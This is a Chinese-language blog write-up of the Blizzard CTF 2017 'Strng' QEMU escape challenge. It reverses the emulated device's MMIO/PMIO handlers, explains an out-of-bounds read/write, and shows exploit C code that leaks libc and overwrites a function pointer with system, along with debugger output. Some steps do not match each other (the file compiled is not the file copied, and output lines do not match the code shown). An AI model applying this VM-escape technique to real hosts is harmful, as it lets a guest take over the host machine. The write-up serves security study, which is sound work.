目錄
  1. 1. 前言
  2. 2. 题目
  3. 3. 静态分析
    1. 3.1. 查看strng_class_init函数
    2. 3.2. 查看strng_mmio_read函数
    3. 3.3. 查看strng_mmio_write函数
    4. 3.4. 查看strng_pmio_read函数
    5. 3.5. 查看strng_pmio_write函数
    6. 3.6. 攻击思路
  4. 4. 动态分析
  5. 5. Reference
Blizzard CTF 2017 Strng

前言

这段时间研究了一下qemu escape相关的内容,以这篇博客为开端,将系统的记录我学习qemu escape的历程。

题目

Points: Legendary Solves: 0 Category: Exploitation Description: Blizzard CTF 2017: Sombra True Random Number Generator (STRNG) Sombra True Random Number Generator (STRNG) is a QEMU-based challenge developed for Blizzard CTF 2017. The challenge was to achieve a VM escape from a QEMU-based VM and capture the flag located at /root/flag on the host. The image used and distributed with the challenge was the Ubuntu Server 14.04 LTS Cloud Image. The host used the same image as the guest. The guest was reset every 10 minutes and was started with the following command: ./qemu-system-x86_64 -m 1G -device strng -hda my-disk.img -hdb my-seed.img -nographic -L pc-bios/ -enable-kvm -device e1000,netdev=net0 -netdev user,id=net0,hostfwd=tcp::5555-:22 Access to the guest was provided by redirecting incoming connections to the host on port 5555 to the guest on port 22.

Username/password: ubuntu/passw0rd

从启动命令可以看出,这道题是对PCI设备strng的模拟,一般的思路都是通过mmio_read或者pmio_read泄露libc基地址,然后通过mmio_write或者pmio_write将system函数的地址覆盖掉某个函数的地址从而劫持程序流。

静态分析

qemu-system-x86_64拖进IDA,查找strng相关函数

1
2
3
4
5
6
7
8
9
do_qemu_init_pci_strng_register_types	
pci_strng_register_types
strng_class_init ##可以查看device_id来确定设备
pci_strng_realize
strng_instance_init
strng_mmio_read
strng_mmio_write
strng_pmio_read
strng_pmio_write

查看相关结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
00000000 STRNGState      struc ; (sizeof=0xC10, align=0x10, mappedto_3815)
00000000 pdev PCIDevice_0 ?
000008F0 mmio MemoryRegion_0 ?
000009F0 pmio MemoryRegion_0 ?
00000AF0 addr dd ?
00000AF4 regs dd 64 dup(?)
00000BF4 db ? ; undefined
00000BF5 db ? ; undefined
00000BF6 db ? ; undefined
00000BF7 db ? ; undefined
00000BF8 srand dq ? ; offset
00000C00 rand dq ? ; offset
00000C08 rand_r dq ? ; offset
00000C10 STRNGState ends
00000C10

查看strng_class_init函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void __fastcall strng_class_init(ObjectClass *a1, void *data)
{
PCIDeviceClass *k; // rax

k = (PCIDeviceClass *)object_class_dynamic_cast_assert(
a1,
"pci-device",
"/home/rcvalle/qemu/hw/misc/strng.c",
154,
"strng_class_init");
k->device_id = 0x11E9; //设备id
k->revision = 0x10;
k->realize = (void (*)(PCIDevice_0 *, Error_0 **))pci_strng_realize;
k->class_id = 0xFF;
k->vendor_id = 0x1234;
}

在qemu虚拟机中查看设备,发现00:03.0即为strng。其中 xx:yy.z的格式为总线:设备:功能的格式。

1
2
3
4
5
6
7
8
ubuntu@ubuntu:~$ lspci
00:00.0 Host bridge: Intel Corporation 440FX - 82441FX PMC [Natoma] (rev 02)
00:01.0 ISA bridge: Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II]
00:01.1 IDE interface: Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton II]
00:01.3 Bridge: Intel Corporation 82371AB/EB/MB PIIX4 ACPI (rev 03)
00:02.0 VGA compatible controller: Device 1234:1111 (rev 02)
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
00:04.0 Ethernet controller: Intel Corporation 82540EM Gigabit Ethernet Controller (rev 03)

查看mmio和pmio的地址信息,可以看到mmio的起始地址为0xfebf1000,pmio的起始端口为c050

1
2
3
4
5
6
7
ubuntu@ubuntu:~$ lspci -v
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
Subsystem: Red Hat, Inc Device 1100
Physical Slot: 3
Flags: fast devsel
Memory at febf1000 (32-bit, non-prefetchable) [size=256]
I/O ports at c050 [size=8]

通过查看resource文件来查看其相应的内存空间, 如resource0(MMIO空间)以及resource1(PMIO空间) ,每行分别表示相应空间的起始地址(start-address)、结束地址(end-address)以及标识位(flags)

1
2
3
ubuntu@ubuntu:~$ cat /sys/devices/pci0000\:00/0000\:00\:03.0/resource
0x00000000febf1000 0x00000000febf10ff 0x0000000000040200 #mmio,size=256
0x000000000000c050 0x000000000000c057 0x0000000000040101 #pmio,size=8

查看strng_mmio_read函数

1
2
3
4
5
6
7
8
9
uint64_t __fastcall strng_mmio_read(STRNGState *opaque, hwaddr addr, unsigned int size)
{
uint64_t result; // rax

result = -1LL;
if ( size == 4 && !(addr & 3) )
result = opaque->regs[addr >> 2];
return result;
}

地址的大小为4个字节(size == 4),且必须是4字节对齐(!(addr & 3))。然后将该地址右移两位作为索引,并返回该索引对应的regs的值。可以看到regs的大小刚好等于mmio的大小,因此无法泄露任意地址。

查看strng_mmio_write函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
void __fastcall strng_mmio_write(STRNGState *opaque, hwaddr addr, uint32_t val, unsigned int size)
{
hwaddr i; // rsi
uint32_t v5; // ST08_4
uint32_t v6; // eax
unsigned __int64 v7; // [rsp+18h] [rbp-20h]

v7 = __readfsqword(0x28u);
if ( size == 4 && !(addr & 3) )
{
i = addr >> 2;
if ( (_DWORD)i == 1 )
{
opaque->regs[1] = opaque->rand(opaque, i, val);
}
else if ( (unsigned int)i < 1 )
{
if ( __readfsqword(0x28u) == v7 )
opaque->srand(val);
}
else
{
if ( (_DWORD)i == 3 )
{
v5 = val;
v6 = ((__int64 (__fastcall *)(uint32_t *))opaque->rand_r)(&opaque->regs[2]);
val = v5;
opaque->regs[3] = v6;
}
opaque->regs[(unsigned int)i] = val;
}
}
}

首先地址必须满足大小为4且4字节对齐,然后索引i=addr>>2,当:

i=0:调用srand函数,参数为val

i=1:调用rand产生随机数并赋值给regs[1]

i=3:调用rand_r函数,参数为regs[2],然后将返回结果赋值给regs[3]。但最后regs[3]还是会赋值为val

其它:将val写进regs[i]

这里其实可以看出一些猫腻,如果我们可以泄露libc基址的话,就可以

1、将srand地址覆盖为system函数的地址,val=“cat flag”,addr=0便可获取flag

2、将rand_r地址覆盖为system函数的地址,regs[2]处写入”cat flag“,addr=12便可获取flag

查看strng_pmio_read函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
uint64_t __fastcall strng_pmio_read(STRNGState *opaque, hwaddr addr, unsigned int size)
{
uint64_t result; // rax
uint32_t reg_addr; // edx

result = -1LL;
if ( size == 4 )
{
if ( addr )
{
if ( addr == 4 )
{
reg_addr = opaque->addr;
if ( !(reg_addr & 3) )
result = opaque->regs[reg_addr >> 2];
}
}
else
{
result = opaque->addr;
}
}
return result;
}

首先满足地址为四个字节,当

addr=0:返回opaque->addr的值

addr!=:将opaque->addr的值右移两位作为regs的索引并返回该值

这里我们可以发现可以读取任意地址,只要可以将某个地址相对regs的偏移赋值给opaque->addr,便可以泄露该地址的值。例如:将104传给opaque->addr,便可以泄露srand低四位地址的值。

查看strng_pmio_write函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
void __fastcall strng_pmio_write(STRNGState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
uint32_t reg_addr; // eax
__int64 idx; // rax
unsigned __int64 v6; // [rsp+8h] [rbp-10h]

v6 = __readfsqword(0x28u);
if ( size == 4 )
{
if ( addr )
{
if ( addr == 4 )
{
reg_addr = opaque->addr;
if ( !(reg_addr & 3) )
{
idx = reg_addr >> 2;
if ( (_DWORD)idx == 1 )
{
opaque->regs[1] = opaque->rand(opaque, 4LL, val);
}
else if ( (unsigned int)idx < 1 )
{
if ( __readfsqword(0x28u) == v6 )
opaque->srand((unsigned int)val);
}
else if ( (_DWORD)idx == 3 )
{
opaque->regs[3] = opaque->rand_r(&opaque->regs[2], 4LL, val);
}
else
{
opaque->regs[idx] = val;
}
}
}
}
else
{
opaque->addr = val;
}
}
}

首先满足地址大小为四字节,当addr=0时,将val赋值给opaque->addr,于是可以实现数组越界可读。当addr不为0时,如果opaque->addr满足四字节对齐,则将其右移两位赋值给regs的索引idx,其余操作与mmio_write大体相同。因此可以实现数组越界可写。

攻击思路

  1. 108写入opaque->addr,泄露出srand高四字节地址,将104写入opaque->addr,泄露出srand低四字节地址
  2. 根据srand的地址算出libc基址以及system的地址
  3. 将system地址写进rand_r地址处,将“cat flag”写进regs[2]处
  4. 利用mmio_wrtie,addr=12,触发漏洞,获取flag

动态分析

为了方便,我们创建一个gdb脚本debug.txt

1
2
3
4
5
b strng_mmio_read
b strng_mmio_write
b strng_pmio_read
b strng_pmio_write
run -m 1G -device strng -hda my-disk.img -hdb my-seed.img -nographic -L pc-bios/ -enable-kvm -device e1000,netdev=net0 -netdev user,id=net0,hostfwd=tcp::5555-:22

gdb调试qemu

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
➜  strng sudo gdb qemu-system-x86_64
[sudo] kangel 的密码:
GNU gdb (GDB) 8.3
Copyright (C) 2019 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 180 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from qemu-system-x86_64...
pwndbg> source debug.txt

ssh登录

1
➜ ssh -p 5555 ubuntu@localhost

exp.c主函数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int main(int argc, char *argv[])
{

// Open and map I/O memory for the strng device
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");

mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");
printf("mmio_mem @ %p\n", mmio_mem);

mmio_write(8,0x20746163);
mmio_write(12,0x67616c66);
mmio_write(16,0x00000000);
// Open and map I/O memory for the strng device
if (iopl(3) !=0 )
die("I/O permission is not enough");

// leaking libc address
uint64_t srandom_addr=pmio_arbread(0x108);
srandom_addr=srandom_addr<<32;
srandom_addr+=pmio_arbread(0x104);
printf("leaking srandom addr: 0x%llx\n",srandom_addr);
uint64_t libc_base= srandom_addr-0x43bb0;
uint64_t system_addr= libc_base+0x4f440;
printf("libc base: 0x%llx\n",libc_base);
printf("system addr: 0x%llx\n",system_addr);
// overwrite rand_r pointer to system
pmio_abwrite(0x114,system_addr&0xffffffff);

mmio_write(0xc,0);
getchar();
return 0;
}

编译

1
➜ gcc -m32 -O0 test_mmio.c -o test_mmio

将exp传给guest

1
➜ scp -P5555 exp ubuntu@127.0.0.1:/home/ubuntu

执行exp

1
➜ sudo ./exp

此时gdb断在了strng_mmio_write处,ida查看此时寄存器的状态

1
2
3
4
.text:00000000004103E0 opaque = rdi                            ; void *
.text:00000000004103E0 addr = rsi ; hwaddr
.text:00000000004103E0 val_0 = rdx ; uint64_t
.text:00000000004103E0 size = rcx ; unsigned int

查看gdb中寄存器的值

1
2
3
4
5
RBX  0x20746163
RCX 0x4
RDX 0x20746163
RDI 0x5555566f4860 —▸ 0x5555565c52e0 —▸ 0x555556572600 —▸ 0x555556572780 ◂— 0x676e727473 /* u'strng' */
RSI 0x8

通过rdi+0xaf0查看addr、regs等结构体的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> x/40gx $rdi+0xaf0
0x5555566f5350: 0x0000000000000000 0x2074616300000000
0x5555566f5360: 0x0000000000000000 0x0000000000000000
0x5555566f5370: 0x0000000000000000 0x0000000000000000
0x5555566f5380: 0x0000000000000000 0x0000000000000000
0x5555566f5390: 0x0000000000000000 0x0000000000000000
0x5555566f53a0: 0x0000000000000000 0x0000000000000000
0x5555566f53b0: 0x0000000000000000 0x0000000000000000
0x5555566f53c0: 0x0000000000000000 0x0000000000000000
0x5555566f53d0: 0x0000000000000000 0x0000000000000000
0x5555566f53e0: 0x0000000000000000 0x0000000000000000
0x5555566f53f0: 0x0000000000000000 0x0000000000000000
0x5555566f5400: 0x0000000000000000 0x0000000000000000
0x5555566f5410: 0x0000000000000000 0x0000000000000000
0x5555566f5420: 0x0000000000000000 0x0000000000000000
0x5555566f5430: 0x0000000000000000 0x0000000000000000
0x5555566f5440: 0x0000000000000000 0x0000000000000000
0x5555566f5450: 0x0000000000000000 0x00007ffff6466bb0 #srand
0x5555566f5460: 0x00007ffff64673a0 0x00007ffff64673b0 #rand、rand_r
0x5555566f5470: 0x0000000000000000 0x0000000000000111
0x5555566f5480: 0x0000000000000000 0x00005555577793a0

查看srand、rand、rand_r函数

1
2
3
4
5
6
pwndbg> x/gx 0x00007ffff6466bb0
0x7ffff6466bb0 <__srandom>: 0x01befa8908ec8348
pwndbg> x/gx 0x00007ffff64673a0
0x7ffff64673a0 <rand>: 0xfff9f7e808ec8348
pwndbg> x/gx 0x00007ffff64673b0
0x7ffff64673b0 <rand_r>: 0x390541c64e6d0769

利用readelf查看srandom、system函数相对于libc基址的偏移,分别为0x43bb00x4f440

1
2
3
4
5
6
➜  strng readelf -s /lib/x86_64-linux-gnu/libc-2.27.so|grep -E "srandom|system"
232: 0000000000159e20 99 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@@GLIBC_2.2.5
607: 000000000004f440 45 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE
735: 0000000000043e60 290 FUNC WEAK DEFAULT 13 srandom_r@@GLIBC_2.2.5
1403: 000000000004f440 45 FUNC WEAK DEFAULT 13 system@@GLIBC_2.2.5
1704: 0000000000043bb0 142 FUNC WEAK DEFAULT 13 srandom@@GLIBC_2.2.5

exploit

1
2
3
4
5
6
7
8
9
ubuntu@ubuntu:~$ sudo ./exp
mmio_mem @ 0xb77c0000
cat: -: 资源暂时不可用
leaking srandom addr: 0x7f5809579bb0
libc base: 0x7f5809536000
system addr: 0x7f5809585440
leaking heap addr: 0x56130e168ef0
parameter addr: 0x56130e1a2b6c
flag{strng_escape}

Reference

https://www.w0lfzhang.com/2018/11/05/Blizzard-CTF-2017-Strng/#more

https://uaf.io/exploitation/2018/05/17/BlizzardCTF-2017-Strng.html

https://ray-cp.github.io/archivers/qemu-pwn-basic-knowledge

文章作者: kangel
文章鏈接: https://j-kangel.github.io/2019/11/27/Strng/
版權聲明: 本博客所有文章除特別聲明外,均採用 CC BY-NC-SA 4.0 許可協議。轉載請註明來自 KANGEL